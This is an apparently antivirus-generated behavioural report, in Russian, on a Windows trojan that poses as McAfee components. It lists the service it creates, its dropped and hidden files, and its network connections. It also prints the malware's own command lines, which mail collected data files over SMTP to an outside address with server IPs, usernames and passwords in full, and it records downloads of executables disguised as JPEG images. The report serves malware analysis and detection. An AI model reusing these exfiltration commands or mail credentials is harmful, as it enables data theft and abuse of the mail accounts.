Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\McAvscan] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- C:\MSN6Temp\TemplQ2.exe
- C:\MSN6Temp\msmsgrs2.exe
- C:\MSN6Temp\TemplQ.exe
- C:\MSN6Temp\msdcom.exe -Q -AUTH LOGIN -SERVER 213.201.137.38 -PORT 35 -USER abc@komori.nl -PASS hahaha -FROM bohvmmqt4@yahoo.com -FROMNAME Mos McAffee Virus Scan L -TO bohvmmqt4@yahoo.com -PRIORITY 1 -SUBJ IJKFLL! ! -BODY -USEFILE C:\MSN6Temp\Templ.tmp
- C:\MSN6Temp\msdcom.exe -Q -AUTH LOGIN -SERVER mail.gmx.net -PORT 587 -USER 30838315 -PASS getrich101 -FROM bohvmmqt@gmx.net -FROMNAME Mos McAffee Virus Scan -TO bohvmmqt4@yahoo.com -PRIORITY 1 -SUBJ JDJKEK! ! -BODY -USEFILE C:\MSN6Temp\Templ2.tmp
- C:\MSN6Temp\msmsgrs.exe
- %WINDIR%\serviceins.exe -install
- C:\MSN6Temp\mslocalhs.exe
- %TEMP%\ABSsetup.exe
- %WINDIR%\McShieldOD.exe
- %TEMP%\is-K10JU.tmp\is-JDVIK.tmp /SL4 $10110 %TEMP%\ABSsetup.exe 2219887 50688
Запускает на исполнение:
- <SYSTEM32>\cmd.exe /c ""C:\MSN6Temp\Templ.bat" "
- <SYSTEM32>\cmd.exe /c ""C:\MSN6Temp\Templ2.bat" "
- <SYSTEM32>\regsvr32.exe /s C:\MSN6Temp\NTSVC.ocx
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\is-JJEC0.tmp\_shfoldr.dll
- C:\MSN6Temp\Templ2.tmp
- C:\MSN6Temp\Templ2.bat
- C:\MSN6Temp\SS1.exe
- %TEMP%\ABSsetup.exe
- %TEMP%\is-K10JU.tmp\is-JDVIK.tmp
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\automos[1].jpg
- C:\MSN6Temp\Temp\autoupdate.exe
- C:\MSN6Temp\Temp2\autoupdate.exe
- C:\MSN6Temp\Templ.tmp
- C:\MSN6Temp\Templ.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\autoupdate[1].jpg
- %WINDIR%\McShieldOD.exe
- C:\MSN6Temp\TemplQ3.exe
- C:\MSN6Temp\msdcom.exe
- C:\MSN6Temp\msmsgrs.exe
- C:\MSN6Temp\msmsgrs2.exe
- C:\MSN6Temp\NTSVC.ocx
- %WINDIR%\serviceins.exe
- C:\MSN6Temp\SS2.exe
- C:\MSN6Temp\mslocalhs.exe
- C:\MSN6Temp\TemplQ.exe
- C:\MSN6Temp\TemplQ2.exe
Присваивает атрибут 'скрытый' для следующих файлов:
- %WINDIR%\serviceins.exe
- C:\MSN6Temp\NTSVC.ocx
- C:\MSN6Temp\TemplQ2.exe
- C:\MSN6Temp\SS2.exe
- C:\MSN6Temp\Temp2\autoupdate.exe
- C:\MSN6Temp\Temp\autoupdate.exe
- C:\MSN6Temp\SS1.exe
- %WINDIR%\McShieldOD.exe
- C:\MSN6Temp\msmsgrs2.exe
- C:\MSN6Temp\msmsgrs.exe
- C:\MSN6Temp\TemplQ3.exe
- C:\MSN6Temp\TemplQ.exe
- C:\MSN6Temp\mslocalhs.exe
- C:\MSN6Temp\msdcom.exe
Удаляет следующие файлы:
- %TEMP%\~DFDA38.tmp
- C:\MSN6Temp\Templ2.bat
- %TEMP%\~DF28EF.tmp
- C:\MSN6Temp\Templ.bat
- C:\MSN6Temp\Templ2.tmp
- %TEMP%\~DF21E5.tmp
- %TEMP%\~DFBBC6.tmp
- %TEMP%\~DF7EF4.tmp
- %TEMP%\~DF9932.tmp
Сетевая активность:
Подключается к:
- 'ma##.gmx.net':587
- '21#.#01.137.38':35
- 'www.an###fire.com':80
- 'localhost':1035
- 'localhost':1037
TCP:
Запросы HTTP GET:
- www.an###fire.com/nt2/smoothie/automos.jpg
- www.an###fire.com/nt2/smoothie/autoupdate.jpg
UDP:
- DNS ASK ma##.gmx.net
- DNS ASK www.an###fire.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
